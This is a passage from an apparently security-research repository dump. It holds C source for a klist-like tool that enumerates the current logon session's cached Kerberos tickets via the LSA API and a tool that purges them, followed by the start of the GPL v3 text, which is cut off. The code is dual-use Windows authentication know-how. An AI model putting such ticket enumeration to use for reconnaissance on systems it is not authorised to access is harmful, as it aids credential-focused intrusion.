KERBEROS_TICKET_CACHE_FLAGS_HUB_PRIMARY            0x00000100\n#define KERBEROS_TICKET_CACHE_FLAGS_DISABLE_TGT_DELEGATION 0x00000200\n\n#define _M_PRINT_KERBEROS_TICKET_FLAGS_INFO(var, flag, str) \\\n\tif((var & flag) != 0x00) { wprintf(L\"%s\", str); var = var & ~flag; }\n\nextern NTSTATUS RtlAdjustPrivilege(\n\t_In_  ULONG    Privilege,\n\t_In_  BOOLEAN  Enable,\n\t_In_  BOOLEAN  CurrentThread,\n\t_Out_ PBOOLEAN Enabled\n);\n\nextern NTSTATUS RtlInitString(\n\t_Inout_ LSA_STRING* Destination,\n\t_In_    LPCSTR      Source\n);\n\n/// <summary>\n/// Get an handle to the LSA process via untrusted connection and retrive the \"Kerberos\" authentication package ID.\n/// </summary>\n/// <param name=\"phLsaHandle\">Pointer to the LSA handle</param>\n/// <param name=\"pAuthenticationPackage\">Pointer to the authentication package ID.</param>\n/// <returns>Whether the function was successful</returns>\nNTSTATUS GetLsaHandleAndPackageId(\n\t_Out_ PHANDLE phLsaHandle,\n\t_Out_ PULONG  pAuthenticationPackage\n) {\n\tNTSTATUS Status = STATUS_SUCCESS;\n\tStatus = LsaConnectUntrusted(phLsaHandle);\n\tif (NT_ERROR(Status))\n\t\treturn Status;\n\t\n\tLSA_STRING PackageName = { 0x00 };\n\tRtlInitString(&PackageName, \"Kerberos\");\n\n\treturn LsaLookupAuthenticationPackage(*phLsaHandle, (PLSA_STRING)&PackageName, pAuthenticationPackage);\n}\n\n/// <summary>\n/// Print Kerberos encryption type.\n/// </summary>\n/// <param name=\"EncryptionType\"></param>\nVOID PrintEType(\n\t_In_ CONST LONG EncryptionType\n) {\n\tWCHAR* Buffer = NULL;\n\n\tswitch (EncryptionType) {\n\tcase KERBEROS_ETYPE_NULL_CS:\n\t\tBuffer = L\"NULL CS\\r\\n\";\n\t\tbreak;\n\tcase KERBEROS_ETYPE_RSADSI_RC4_EXPORT:\n\t\tBuffer = L\"RSADSI RC4(Export)\\r\\n\";\n\t\tbreak;\n\tcase KERBEROS_ETYPE_RSADSI_RC4:\n\t\tBuffer = L\"RSADSI RC4\\r\\n\";\n\t\tbreak;\n\tcase KERBEROS_ETYPE_RSADSI_RC4_HMAC_OLD:\n\t\tBuffer = L\"RSADSI RC4-HMAC(Old)\\r\\n\";\n\t\tbreak;\n\tcase KERBEROS_ETYPE_DES_PLAIN:\n\t\tBuffer = L\"Kerberos DES-Plain\\r\\n\";\n\t\tbreak;\n\tcase KERBEROS_ETYPE_RSADSI_RC4_LM:\n\t\tBuffer = L\"RSADSI RC4-LM\\r\\n\";\n\t\tbreak;\n\tcase KERBEROS_ETYPE_RSADSI_RC4_PLAIN:\n\t\tBuffer = L\"RSADSI RC4-PLAIN\\r\\n\";\n\t\tbreak;\n\tcase KERBEROS_ETYPE_DES_CBC_CRC:\n\t\tBuffer = L\"Kerberos DES-CBC-CRC\\r\\n\";\n\t\tbreak;\n\tcase KERBEROS_ETYPE_DES_CBC_MD5:\n\t\tBuffer = L\"Kerberos DES-CBC-MD5\\r\\n\";\n\t\tbreak;\n\tcase KERBEROS_ETYPE_AES_128_CTS_HMAC_SHA1_96:\n\t\tBuffer = L\"AES-128-CTS-HMAC-SHA1-96\\r\\n\";\n\t\tbreak;\n\tcase KERBEROS_ETYPE_AES_256_CTS_HMAC_SHA1_96:\n\t\tBuffer = L\"AES-256-CTS-HMAC-SHA1-96\\r\\n\";\n\t\tbreak;\n\tcase KERBEROS_ETYPE_SADSI_RC4_HMAC_NT:\n\t\tBuffer = L\"RSADSI RC4-HMAC(NT)\\r\\n\";\n\t\tbreak;\n\tcase KERBEROS_ETYPE_RSADSI_RC4_HMAC_NT_Export:\n\t\tBuffer = L\"RSADSI RC4-HMAC(NT)(Export)\\r\\n\";\n\t\tbreak;\n\tdefault:\n\t\tbreak;\n\t}\n\n\twprintf(L\"%s\", Buffer);\n}\n\n/// <summary>\n/// Display Kerberos ticket information.\n/// </summary>\n/// <param name=\"TicketFlags\">Ticket flags</param>\nVOID PrintTicketFlags(\n\t_In_ CONST LONG TicketFlags\n) {\n\tLONG Flags = TicketFlags;\n\t_M_PRINT_KERBEROS_TICKET_FLAGS_INFO(Flags, KERBEROS_TICKET_FLAGS_RESERVED,          L\"reserved \");\n\t_M_PRINT_KERBEROS_TICKET_FLAGS_INFO(Flags, KERBEROS_TICKET_FLAGS_FORWARDABLE,       L\"fowardable \");\n\t_M_PRINT_KERBEROS_TICKET_FLAGS_INFO(Flags, KERBEROS_TICKET_FLAGS_FORWARDED,         L\"forwarded \");\n\t_M_PRINT_KERBEROS_TICKET_FLAGS_INFO(Flags, KERBEROS_TICKET_FLAGS_PROXIABLE,         L\"proxiable \");\n\t_M_PRINT_KERBEROS_TICKET_FLAGS_INFO(Flags, KERBEROS_TICKET_FLAGS_PROXY,             L\"proxy \");\n\t_M_PRINT_KERBEROS_TICKET_FLAGS_INFO(Flags, KERBEROS_TICKET_FLAGS_MAY_POSTDATE,      L\"may_postdated \");\n\t_M_PRINT_KERBEROS_TICKET_FLAGS_INFO(Flags, KERBEROS_TICKET_FLAGS_POSTDATED,         L\"postdated \");\n\t_M_PRINT_KERBEROS_TICKET_FLAGS_INFO(Flags, KERBEROS_TICKET_FLAGS_INVALID,           L\"invalid \");\n\t_M_PRINT_KERBEROS_TICKET_FLAGS_INFO(Flags, KERBEROS_TICKET_FLAGS_RENEWABLE,         L\"renewable \");\n\t_M_PRINT_KERBEROS_TICKET_FLAGS_INFO(Flags, KERBEROS_TICKET_FLAGS_INITIAL,           L\"initial \");\n\t_M_PRINT_KERBEROS_TICKET_FLAGS_INFO(Flags, KERBEROS_TICKET_FLAGS_PRE_AUTHENT,       L\"pre_authent \");\n\t_M_PRINT_KERBEROS_TICKET_FLAGS_INFO(Flags, KERBEROS_TICKET_FLAGS_HW_AUTHENT,        L\"hw_authent \");\n\t_M_PRINT_KERBEROS_TICKET_FLAGS_INFO(Flags, KERBEROS_TICKET_FLAGS_OK_HAS_DELEGATE,   L\"ok_has_delegate \");\n\t_M_PRINT_KERBEROS_TICKET_FLAGS_INFO(Flags, KERBEROS_TICKET_FLAGS_NAME_CANONICALIZE, L\"name_canonicalize \");\n\t_M_PRINT_KERBEROS_TICKET_FLAGS_INFO(Flags, KERBEROS_TICKET_FLAGS_NAME_RESERVED1,    L\"reserved1 \");\n\tprintf(\"\\r\\n\");\n}\n\n/// <summary>\n/// Display Kerberos ticket cache information.\n/// </summary>\n/// <param name=\"CacheFlags\">Cache flags</param>\nVOID PrintCacheFlags(\n\t_In_ CONST ULONG CacheFlags\n) {\n\tULONG Flags = CacheFlags;\n\t_M_PRINT_KERBEROS_TICKET_FLAGS_INFO(Flags, KERBEROS_TICKET_CACHE_FLAGS_PRIMARY,                L\"PRIMARY \");\n\t_M_PRINT_KERBEROS_TICKET_FLAGS_INFO(Flags, KERBEROS_TICKET_CACHE_FLAGS_DELEGATION,             L\"DELEGATION \");\n\t_M_PRINT_KERBEROS_TICKET_FLAGS_INFO(Flags, KERBEROS_TICKET_CACHE_FLAGS_S4U,                    L\"S4U \");\n\t_M_PRINT_KERBEROS_TICKET_FLAGS_INFO(Flags, KERBEROS_TICKET_CACHE_FLAGS_ASC,                    L\"ASC \");\n\t_M_PRINT_KERBEROS_TICKET_FLAGS_INFO(Flags, KERBEROS_TICKET_CACHE_FLAGS_ENC_IN_SKEY,            L\"ENC-IN-SKEY \");\n\t_M_PRINT_KERBEROS_TICKET_FLAGS_INFO(Flags, KERBEROS_TICKET_CACHE_FLAGS_X509,                   L\"X509 \");\n\t_M_PRINT_KERBEROS_TICKET_FLAGS_INFO(Flags, KERBEROS_TICKET_CACHE_FLAGS_FAST,                   L\"FAST \");\n\t_M_PRINT_KERBEROS_TICKET_FLAGS_INFO(Flags, KERBEROS_TICKET_CACHE_FLAGS_COMPOUND,               L\"COMPOUND \");\n\t_M_PRINT_KERBEROS_TICKET_FLAGS_INFO(Flags, KERBEROS_TICKET_CACHE_FLAGS_HUB_PRIMARY,            L\"HUB-PRINARY \");\n\t_M_PRINT_KERBEROS_TICKET_FLAGS_INFO(Flags, KERBEROS_TICKET_CACHE_FLAGS_DISABLE_TGT_DELEGATION, L\"DISABLE-TGT-DELEGATION \");\n\tprintf(\"\\r\\n\");\n}\n\n/// <summary>\n/// Display kerberos ticket time.\n/// </summary>\n/// <param name=\"Prefix\">Output prefix</param>\n/// <param name=\"Time\">Time</param>\nVOID PrintTime(\n\t_In_ CONST WCHAR*        Prefix,\n\t_In_ CONST LARGE_INTEGER Time\n) {\n\tFILETIME LocalFileTime = { 0x00 };\n\tFileTimeToLocalFileTime(&Time.QuadPart, &LocalFileTime);\n\n\tSYSTEMTIME SystemTime = { 0x00 };\n\tFileTimeToSystemTime(&LocalFileTime, &SystemTime);\n\n\twprintf(L\"%s\", Prefix);\n\twprintf(L\"%ld/%ld/%ld %ld:%2.2ld:%2.2ld (local)\\r\\n\",\n\t\tSystemTime.wMonth,\n\t\tSystemTime.wDay,\n\t\tSystemTime.wYear,\n\t\tSystemTime.wHour,\n\t\tSystemTime.wMinute,\n\t\tSystemTime.wSecond\n\t);\n}\n\nVOID ShowTicket3(\n\t_In_ CONST PKERB_QUERY_TKT_CACHE_EX3_RESPONSE Response\n) {\n\tprintf(\"Cached Tickets: (%d)\\n\\n\", Response->CountOfTickets);\n\tHANDLE hProcessHeap = GetProcessHeap();\n\n\tfor (DWORD cx = 0x00; cx < Response->CountOfTickets; cx++) {\n\t\tKERB_TICKET_CACHE_INFO_EX3 Ticket = Response->Tickets[cx];\n\n\t\tWCHAR* ClientName = HeapAlloc(hProcessHeap, HEAP_ZERO_MEMORY, Ticket.ClientName.MaximumLength + 2);\n\t\tWCHAR* ClientRealm = HeapAlloc(hProcessHeap, HEAP_ZERO_MEMORY, Ticket.ClientRealm.MaximumLength + 2);\n\t\tWCHAR* ServerName = HeapAlloc(hProcessHeap, HEAP_ZERO_MEMORY, Ticket.ServerName.MaximumLength + 2);\n\t\tWCHAR* ServerRealm = HeapAlloc(hProcessHeap, HEAP_ZERO_MEMORY, Ticket.ServerRealm.MaximumLength + 2);\n\n\t\tRtlCopyMemory(ClientName, Ticket.ClientName.Buffer, Ticket.ClientName.MaximumLength);\n\t\tRtlCopyMemory(ClientRealm, Ticket.ClientRealm.Buffer, Ticket.ClientRealm.MaximumLength);\n\t\tRtlCopyMemory(ServerName, Ticket.ServerName.Buffer, Ticket.ServerName.MaximumLength);\n\t\tRtlCopyMemory(ServerRealm, Ticket.ServerRealm.Buffer, Ticket.ServerRealm.MaximumLength);\n\n\t\t// The ID of the cached ticket\n\t\twprintf(L\"#%d>\", cx);\n\n\t\t// Name of the client and server\n\t\twprintf(L\"\\tClient: %ws @ %ws\\n\", ClientName, ClientRealm);\n\t\twprintf(L\"\\tServer: %ws @ %ws\\n\", ServerName, ServerRealm);\n\n\t\t// Encryption type of the ticket\n\t\twprintf(L\"\\tKerbTicket Encryption Type: \");\n\t\tPrintEType(Ticket.EncryptionType);\n\n\t\t// Ticket flags and infomration\n\t\twprintf(L\"\\tTicket Flags: 0x%08x -> \", Ticket.TicketFlags);\n\t\tPrintTicketFlags(Ticket.TicketFlags);\n\n\t\t// Timestamps\n\t\tPrintTime(L\"\\tStart Time: \", Ticket.StartTime);\n\t\tPrintTime(L\"\\tEnd Time:   \", Ticket.EndTime);\n\t\tPrintTime(L\"\\tRenew Time: \", Ticket.RenewTime);\n\n\t\t// Session encryption type\n\t\tprintf(\"\\tSession Key Type: \");\n\t\tPrintEType(Ticket.SessionKeyType);\n\n\t\t// Ticket cache flags\n\t\twprintf(L\"\\tCache Flags: 0x%08x -> \", Ticket.CacheFlags);\n\t\tPrintCacheFlags(Ticket.CacheFlags);\n\n\t\t// KDC that provided the ticket\n\t\tWCHAR* KdcCalled = HeapAlloc(hProcessHeap, HEAP_ZERO_MEMORY, Ticket.KdcCalled.MaximumLength + 2);\n\t\tRtlCopyMemory(KdcCalled, Ticket.KdcCalled.Buffer, Ticket.KdcCalled.MaximumLength);\n\t\twprintf(L\"\\tKdc Called: %ws\\n\\n\", KdcCalled);\n\n\t\t// Cleanup\n\t\tif (ClientName != NULL)\n\t\t\tHeapFree(hProcessHeap, 0x00, ClientName);\n\t\tif (ClientRealm != NULL)\n\t\t\tHeapFree(hProcessHeap, 0x00, ClientRealm);\n\t\tif (ServerName != NULL)\n\t\t\tHeapFree(hProcessHeap, 0x00, ServerName);\n\t\tif (ServerRealm != NULL)\n\t\t\tHeapFree(hProcessHeap, 0x00, ServerRealm);\n\t\tif (KdcCalled != NULL)\n\t\t\tHeapFree(hProcessHeap, 0x00, KdcCalled);\n\t}\n}\n\nVOID ShowTicket2(\n\t_In_ CONST PKERB_QUERY_TKT_CACHE_EX2_RESPONSE Response\n) {\n\t// List all the tickets\n\tprintf(\"Cached Tickets: (%d)\\n\\n\", Response->CountOfTickets);\n\tHANDLE hProcessHeap = GetProcessHeap();\n\n\tfor (DWORD cx = 0x00; cx < Response->CountOfTickets; cx++) {\n\t\tKERB_TICKET_CACHE_INFO_EX2 Ticket = Response->Tickets[cx];\n\n\t\tWCHAR* ClientName = HeapAlloc(hProcessHeap, HEAP_ZERO_MEMORY, Ticket.ClientName.MaximumLength + 2);\n\t\tWCHAR* ClientRealm = HeapAlloc(hProcessHeap, HEAP_ZERO_MEMORY, Ticket.ClientRealm.MaximumLength + 2);\n\t\tWCHAR* ServerName = HeapAlloc(hProcessHeap, HEAP_ZERO_MEMORY, Ticket.ServerName.MaximumLength + 2);\n\t\tWCHAR* ServerRealm = HeapAlloc(hProcessHeap, HEAP_ZERO_MEMORY, Ticket.ServerRealm.MaximumLength + 2);\n\n\t\tRtlCopyMemory(ClientName, Ticket.ClientName.Buffer, Ticket.ClientName.MaximumLength);\n\t\tRtlCopyMemory(ClientRealm, Ticket.ClientRealm.Buffer, Ticket.ClientRealm.MaximumLength);\n\t\tRtlCopyMemory(ServerName, Ticket.ServerName.Buffer, Ticket.ServerName.MaximumLength);\n\t\tRtlCopyMemory(ServerRealm, Ticket.ServerRealm.Buffer, Ticket.ServerRealm.MaximumLength);\n\n\t\t// The ID of the cached ticket\n\t\twprintf(L\"#%d>\", cx);\n\n\t\t// Name of the client and server\n\t\twprintf(L\"\\tClient: %ws @ %ws\\n\", ClientName, ClientRealm);\n\t\twprintf(L\"\\tServer: %ws @ %ws\\n\", ServerName, ServerRealm);\n\n\t\t// Encryption type of the ticket\n\t\twprintf(L\"\\tKerbTicket Encryption Type: \");\n\t\tPrintEType(Ticket.EncryptionType);\n\n\t\t// Ticket flags and infomration\n\t\twprintf(L\"\\tTicket Flags: 0x%08x -> \", Ticket.TicketFlags);\n\t\tPrintTicketFlags(Ticket.TicketFlags);\n\n\t\t// Timestamps\n\t\tPrintTime(L\"\\tStart Time: \", Ticket.StartTime);\n\t\tPrintTime(L\"\\tEnd Time:   \", Ticket.EndTime);\n\t\tPrintTime(L\"\\tRenew Time: \", Ticket.RenewTime);\n\n\t\t// Session encryption type\n\t\tprintf(\"\\tSession Key Type: \");\n\t\tPrintEType(Ticket.SessionKeyType);\n\n\t\t// Cleanup\n\t\tif (ClientName != NULL)\n\t\t\tHeapFree(hProcessHeap, 0x00, ClientName);\n\t\tif (ClientRealm != NULL)\n\t\t\tHeapFree(hProcessHeap, 0x00, ClientRealm);\n\t\tif (ServerName != NULL)\n\t\t\tHeapFree(hProcessHeap, 0x00, ServerName);\n\t\tif (ServerRealm != NULL)\n\t\t\tHeapFree(hProcessHeap, 0x00, ServerRealm);\n\t}\n}\n\nVOID ShowTicket1(\n\t_In_ CONST PKERB_QUERY_TKT_CACHE_EX_RESPONSE Response\n) {\n\t// List all the tickets\n\tprintf(\"Cached Tickets: (%d)\\n\\n\", Response->CountOfTickets);\n\tHANDLE hProcessHeap = GetProcessHeap();\n\n\tfor (DWORD cx = 0x00; cx < Response->CountOfTickets; cx++) {\n\t\tKERB_TICKET_CACHE_INFO_EX Ticket = Response->Tickets[cx];\n\n\t\tWCHAR* ClientName = HeapAlloc(hProcessHeap, HEAP_ZERO_MEMORY, Ticket.ClientName.MaximumLength + 2);\n\t\tWCHAR* ClientRealm = HeapAlloc(hProcessHeap, HEAP_ZERO_MEMORY, Ticket.ClientRealm.MaximumLength + 2);\n\t\tWCHAR* ServerName = HeapAlloc(hProcessHeap, HEAP_ZERO_MEMORY, Ticket.ServerName.MaximumLength + 2);\n\t\tWCHAR* ServerRealm = HeapAlloc(hProcessHeap, HEAP_ZERO_MEMORY, Ticket.ServerRealm.MaximumLength + 2);\n\n\t\tRtlCopyMemory(ClientName, Ticket.ClientName.Buffer, Ticket.ClientName.MaximumLength);\n\t\tRtlCopyMemory(ClientRealm, Ticket.ClientRealm.Buffer, Ticket.ClientRealm.MaximumLength);\n\t\tRtlCopyMemory(ServerName, Ticket.ServerName.Buffer, Ticket.ServerName.MaximumLength);\n\t\tRtlCopyMemory(ServerRealm, Ticket.ServerRealm.Buffer, Ticket.ServerRealm.MaximumLength);\n\n\t\t// The ID of the cached ticket\n\t\twprintf(L\"#%d>\", cx);\n\n\t\t// Name of the client and server\n\t\twprintf(L\"\\tClient: %ws @ %ws\\n\", ClientName, ClientRealm);\n\t\twprintf(L\"\\tServer: %ws @ %ws\\n\", ServerName, ServerRealm);\n\n\t\t// Encryption type of the ticket\n\t\twprintf(L\"\\tKerbTicket Encryption Type: \");\n\t\tPrintEType(Ticket.EncryptionType);\n\n\t\t// Ticket flags and infomration\n\t\twprintf(L\"\\tTicket Flags: 0x%08x -> \", Ticket.TicketFlags);\n\t\tPrintTicketFlags(Ticket.TicketFlags);\n\n\t\t// Timestamps\n\t\tPrintTime(L\"\\tStart Time: \", Ticket.StartTime);\n\t\tPrintTime(L\"\\tEnd Time:   \", Ticket.EndTime);\n\t\tPrintTime(L\"\\tRenew Time: \", Ticket.RenewTime);\n\n\t\t// Cleanup\n\t\tif (ClientName != NULL)\n\t\t\tHeapFree(hProcessHeap, 0x00, ClientName);\n\t\tif (ClientRealm != NULL)\n\t\t\tHeapFree(hProcessHeap, 0x00, ClientRealm);\n\t\tif (ServerName != NULL)\n\t\t\tHeapFree(hProcessHeap, 0x00, ServerName);\n\t\tif (ServerRealm != NULL)\n\t\t\tHeapFree(hProcessHeap, 0x00, ServerRealm);\n\t}\n}\n\nINT main() {\n\n\t// 1. Get LUID informaiton\n\tHANDLE hProcessHandle = GetCurrentProcess();\n\tHANDLE hTokenHandle = INVALID_HANDLE_VALUE;\n\tBOOL Result = OpenProcessToken(hProcessHandle, 0x2000000u, &hTokenHandle);\n\n\tTOKEN_STATISTICS Statistics = { 0x00 };\n\tDWORD dwReturnedLength = 0x00;\n\tResult = GetTokenInformation(hTokenHandle, TokenStatistics, &Statistics, sizeof(TOKEN_STATISTICS), &dwReturnedLength);\n\tif (!Result) {\n\t\tCloseHandle(hTokenHandle);\n\t\treturn EXIT_FAILURE;\n\t}\n\twprintf(L\"Current LogonId is %d:0x%08x\\n\",\n\t\tStatistics.ModifiedId.HighPart,\n\t\tStatistics.ModifiedId.LowPart\n\t);\n\tCloseHandle(hTokenHandle);\n\n\t// 2. Connect to LSA and get the package ID\n\tNTSTATUS Status = STATUS_SUCCESS;\n\tHANDLE hLsaHandle = INVALID_HANDLE_VALUE;\n\tULONG AuthPackageKerberos = 0x00;\n\n\tStatus = GetLsaHandleAndPackageId(&hLsaHandle, &AuthPackageKerberos);\n\tif (NT_ERROR(Status))\n\t\treturn EXIT_FAILURE;\n\n\t// 3. Get the tickets\n\tNTSTATUS PackageStatus = STATUS_SUCCESS;\n\tULONG ulBufferSize = 0x00;\n\n\tLPVOID CacheResponse = NULL;\n\tKERB_QUERY_TKT_CACHE_REQUEST CacheRequest = { 0x00 };\n\tCacheRequest.MessageType = KerbQueryTicketCacheEx3Message;\n\tCacheRequest.LogonId.LowPart = 0x00;\n\tCacheRequest.LogonId.HighPart = 0x00;\n\n\tStatus = LsaCallAuthenticationPackage(\n\t\thLsaHandle,\n\t\tAuthPackageKerberos,\n\t\t&CacheRequest,\n\t\tsizeof(KERB_QUERY_TKT_CACHE_REQUEST),\n\t\t&CacheResponse,\n\t\t&ulBufferSize,\n\t\t&PackageStatus\n\t);\n\tif (Status == STATUS_NOT_SUPPORTED) {\n\t\tCacheRequest.MessageType = KerbQueryTicketCacheEx2Message;\n\t\tStatus = LsaCallAuthenticationPackage(\n\t\t\thLsaHandle,\n\t\t\tAuthPackageKerberos,\n\t\t\t&CacheRequest,\n\t\t\tsizeof(KERB_QUERY_TKT_CACHE_REQUEST),\n\t\t\t&CacheResponse,\n\t\t\t&ulBufferSize,\n\t\t\t&PackageStatus\n\t\t);\n\n\t\tif (Status == STATUS_NOT_SUPPORTED) {\n\t\t\tCacheRequest.MessageType = KerbQueryTicketCacheExMessage;\n\t\t\tStatus = LsaCallAuthenticationPackage(\n\t\t\t\thLsaHandle,\n\t\t\t\tAuthPackageKerberos,\n\t\t\t\t&CacheRequest,\n\t\t\t\tsizeof(KERB_QUERY_TKT_CACHE_REQUEST),\n\t\t\t\t&CacheResponse,\n\t\t\t\t&ulBufferSize,\n\t\t\t\t&PackageStatus\n\t\t\t);\n\t\t\tif (!NT_SUCCESS(Status))\n\t\t\t\treturn EXIT_FAILURE;\n\t\t\telse\n\t\t\t\tShowTicket1(CacheResponse);\n\t\t}\n\t\telse {\n\t\t\tShowTicket2(CacheResponse);\n\t\t}\n\t}\n\telse {\n\t\tShowTicket3(CacheResponse);\n\t}\n\n\t// x. Cleanup and exit\nexit:\n\tif (CacheResponse != NULL)\n\t\tLsaFreeReturnBuffer(CacheResponse);\n\tLsaDeregisterLogonProcess(hLsaHandle);\n\treturn EXIT_SUCCESS;\n}"
  },
  {
    "path": "Kerberos/Purge/CMakeLists.txt",
    "content": "# @file        CMakeLists.txt\n# @author      Paul L. (@am0nsec)\n# @version     1.0\n# @brief       Kerberos purge tickets.\n# @details     \n# @link        https://github.com/am0nsec/wspe\n# @copyright   This project has been released under the GNU Public License v3 license.\n\nadd_executable(pkpurge\n\t\"src/main.c\"\n)\n\nset_property(TARGET pkpurge\n\tPROPERTY\n\tMSVC_RUNTIME_LIBRARY \"MultiThreaded$<$<CONFIG:Rlease>:Rlease>\"\n)"
  },
  {
    "path": "Kerberos/Purge/src/main.c",
    "content": "\n#include <Windows.h>\n#include <stdio.h>\n#include <ntsecapi.h>\n\n#pragma comment(lib, \"ntdll.lib\")\n#pragma comment(lib, \"Secur32.lib\")\n\n#define STATUS_SUCCESS            0x00000000\n#define STATUS_PRIVILEGE_NOT_HELD 0xC0000061\n#define STATUS_NOT_SUPPORTED      0xC00000BB\n#define STATUS_NO_TOKEN           0xC000007C\n\n#ifndef NT_ERROR\n#define NT_ERROR(Status) ((((ULONG)(Status)) >> 30) == 3)\n#endif\n\n#ifndef NT_SUCCESS\n#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)\n#endif\n\n/// <summary>\n/// Get an handle to the LSA process via untrusted connection and retrive the \"Kerberos\" authentication package ID.\n/// </summary>\n/// <param name=\"phLsaHandle\">Pointer to the LSA handle</param>\n/// <param name=\"pAuthenticationPackage\">Pointer to the authentication package ID.</param>\n/// <returns>Whether the function was successful</returns>\nNTSTATUS GetLsaHandleAndPackageId(\n\t_Out_ PHANDLE phLsaHandle,\n\t_Out_ PULONG  pAuthenticationPackage\n) {\n\tNTSTATUS Status = STATUS_SUCCESS;\n\tStatus = LsaConnectUntrusted(phLsaHandle);\n\tif (NT_ERROR(Status))\n\t\treturn Status;\n\n\tLSA_STRING PackageName = { 0x00 };\n\tRtlInitString(&PackageName, \"Kerberos\");\n\n\treturn LsaLookupAuthenticationPackage(*phLsaHandle, (PLSA_STRING)&PackageName, pAuthenticationPackage);\n}\n\n\nINT main() {\n\t// 1. Get LUID informaiton\n\tHANDLE hProcessHandle = GetCurrentProcess();\n\tHANDLE hTokenHandle = INVALID_HANDLE_VALUE;\n\tBOOL Result = OpenProcessToken(hProcessHandle, 0x2000000u, &hTokenHandle);\n\n\tTOKEN_STATISTICS Statistics = { 0x00 };\n\tDWORD dwReturnedLength = 0x00;\n\tResult = GetTokenInformation(hTokenHandle, TokenStatistics, &Statistics, sizeof(TOKEN_STATISTICS), &dwReturnedLength);\n\tif (!Result) {\n\t\tCloseHandle(hTokenHandle);\n\t\treturn EXIT_FAILURE;\n\t}\n\twprintf(L\"Current LogonId is %d:0x%08x\\n\",\n\t\tStatistics.ModifiedId.HighPart,\n\t\tStatistics.ModifiedId.LowPart\n\t);\n\tCloseHandle(hTokenHandle);\n\n\t// 2. Connect to LSA and get the package ID\n\tNTSTATUS Status = STATUS_SUCCESS;\n\tHANDLE hLsaHandle = INVALID_HANDLE_VALUE;\n\tULONG AuthPackageKerberos = 0x00;\n\n\tStatus = GetLsaHandleAndPackageId(&hLsaHandle, &AuthPackageKerberos);\n\tif (NT_ERROR(Status))\n\t\treturn EXIT_FAILURE;\n\n\t// 3. Purge all tickets\n\twprintf(L\"\\tDeleting all tickets:\");\n\n\tNTSTATUS PackageStatus = STATUS_SUCCESS;\n\n\tKERB_PURGE_TKT_CACHE_REQUEST PurgeRequest = { 0x00 };\n\tPurgeRequest.MessageType = KerbPurgeTicketCacheMessage;\n\tPurgeRequest.LogonId.LowPart = 0x00;\n\tPurgeRequest.LogonId.HighPart = 0x00;\n\n\tPVOID PurgeResponse = NULL;\n\tULONG ulBufferSize = 0x00;\n\n\tStatus = LsaCallAuthenticationPackage(\n\t\thLsaHandle,\n\t\tAuthPackageKerberos,\n\t\t&PurgeRequest,\n\t\tsizeof(KERB_PURGE_TKT_CACHE_REQUEST),\n\t\t&PurgeResponse,\n\t\t&ulBufferSize,\n\t\t&PackageStatus\n\t);\n\tif (NT_SUCCESS(Status) && NT_SUCCESS(PackageStatus))\n\t\twprintf(L\"Ticket(s) purged!\\r\\n\");\n\n\t// x. Cleanup and exit\nexit:\n\tLsaDeregisterLogonProcess(hLsaHandle);\n\treturn EXIT_SUCCESS;\n}"
  },
  {
    "path": "LICENSE",
    "content": "                    GNU GENERAL PUBLIC LICENSE\n                       Version 3, 29 June 2007\n\n Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/>\n Everyone is permitted to copy and distribute verbatim copies\n of this license document, but changing it is not allowed.\n\n                            Preamble\n\n  The GNU General Public License is a free, copyleft license for\nsoftware and other kinds of works.\n\n  The licenses for most software and other practical works are designed\nto take away your freedom to share and change the works.  By contrast,\nthe GNU General Public License is intended to guarantee your freedom to\nshare and change all versions of a program--to make sure it remains free\nsoftware for all its users.  We, the Free Software Foundation, use the\nGNU General Public License for most of our software; it applies also to\nany other work released this way by its authors.  You can apply it to\nyour programs, too.\n\n  When we speak of free software, we are referring to freedom, not\nprice.  Our General Public Licenses are designed to make sure that you\nhave the freedom to distribute copies of free software (and charge for\nthem if you wish), that you receive source code or can get it if you\nwant it, that you can change the software or use pieces of it in new\nfree programs, and that you know you can do these things.\n\n  To protect your rights, we need to prevent others from denying you\nthese rights or asking you to surrender the rights.  Therefore, you have\ncertain responsibilities if you distribute copies of the software, or if\nyou modify it: responsibilities to respect the freedom of others.\n\n  For example, if you distribute copies of such a program, whether\ngratis or for a fee, you must pass on to the recipients the same\nfreedoms that you received.  You must make sure that they, too, receive\nor can get the source code.  And you must show them these terms so they\nknow their rights.\n\n  Developers that use the GNU GPL protect your rights with two steps:\n(1) assert copyright on the software, and (2) offer you this License\ngiving you legal permission to copy, distribute and/or modify it.\n\n  For the developers' and authors' protection, the GPL clearly explains\nthat there is no warranty for this free software.  For both users' and\nauthors' sake, the GPL requires that modified versions be marked as\nchanged, so that their problems will not be attributed erroneously to\nauthors of previous versions.\n\n  Some devices are designed to deny users access to install or run\nmodified versions of the software inside them, although the manufacturer\ncan do so.  This is fundamentally incompatible with the aim of\nprotecting users' freedom to change the software.  The systematic\npattern of such abuse occurs in the area of products for individuals to\nuse, which is precisely where it is most unacceptable.  Therefore, we\nhave designed this version of the GPL to prohibit the practice for those\nproducts.  If such problems arise substantially in other domains, we\nstand ready to extend this provision to those domains in future versions\nof the GPL, as needed to protect the freedom of users.\n\n  Finally, every program is threatened constantly by software patents.\nStates should not allow patents to restrict development and use of\nsoftware on general-purpose computers, but in those that do, we wish to\navoid the special danger that patents applied to a free program could\nmake it effectively proprietary.  To prevent this, the GPL assures that\npatents cannot be used to render the program non-free.\n\n  The precise terms and conditions for copying, distribution and\nmodification follow.\n\n                       TERMS AND CONDITIONS\n\n  0. Definitions.\n\n  \"This License\" refers to version 3 of the GNU General Public License.\n\n  \"Copyright\" also means copyright-like laws that apply to other kinds of\nworks, such as semiconductor masks.\n\n  \"The Program\" refers to any copyrightable work licensed under this\nLicense.  Each licensee is addressed as \"you\".  \"Licensees\" and\n\"recipients\" may be individuals or organizations.\n\n  To \"modify\" a work means to copy from or adapt all or part of the work\nin a fashion requiring copyright permission, other than the making of an\nexact copy.  The resulting work is called a \"modified version\" of the\nearlier work or a work \"based on\" the earlier work.\n\n  A \"covered work\" means either the unmodified Program or a work based\non the Program.\n\n  To \"propagate\" a work means to do anything with it that, without\npermission, would make you directly or secondarily liable for\ninfringement under applicable copyright law, except executing it on a\ncomputer or modifying a private copy.  Propagation includes copying,\ndistribution (with or without modification), making available to the\npublic, and in some countries other activities as well.\n\n  To \"convey\" a work means any kind of propagation that enables other\nparties to make or receive copies.  Mere interaction with a user through\na computer network, with no transfer of a copy, is not conveying.\n\n  An interactive user interface displays \"Appropriate Legal Notices\"\nto the extent that it includes a convenient and prominently visible\nfeature that (1) displays an appropriate copyright notice, and (2)\ntells the user that there is no warranty for the work (except to the\nextent that warranties are provided), that 